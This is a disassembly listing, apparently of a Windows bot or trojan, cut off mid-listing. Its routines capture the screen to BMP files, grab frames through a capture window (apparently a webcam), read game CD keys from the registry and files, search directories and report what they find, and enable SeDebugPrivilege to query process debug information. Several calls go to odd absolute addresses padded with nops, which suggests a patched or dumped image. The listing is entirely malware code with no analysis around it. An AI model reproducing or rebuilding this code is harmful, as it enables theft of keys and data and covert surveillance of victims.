		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43F6B0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43F598
		mov	ebx, eax

loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2610691h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2600000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h

loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2600000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 25F1A27h
		push	1
		pop	esi

loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43F5CC
		push	[ebp+var_4]
		call	dword_43F530
		mov	edi, [ebp+var_20]

loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43F530
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------

loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43F530
		push	[ebp+var_4]
		call	dword_43F530

loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax

loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EDp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------

loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax

loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856

loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4

loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------

loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx

loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h

loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h

loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43F6C4

loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43F6C4

loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43F718
		mov	eax, ebx

loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A6p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------

loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------

loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax

loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F

loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4

loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------

loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx

loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43F6C4

loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h

loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax

loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4

loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43F6C4

loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43F6C4

loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43F6C4

loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43F6C4

loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4

loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43F6C4

loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43F718
		mov	eax, ebx

loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43F6D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43F574
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax

loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------

loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------

loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]

loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h

loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------

loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43F644
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi

loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D62o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2

loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E

loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_408F31

loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 2650500h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028

loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_408FD9

loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 2650500h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------

loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26C0000h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43F314, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43F308, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43F518, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43F310, eax
		call	esi
		mov	dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------

loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539

loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------

loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------

loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706

loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80

loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26A0720h
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------

loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C

loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h

loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

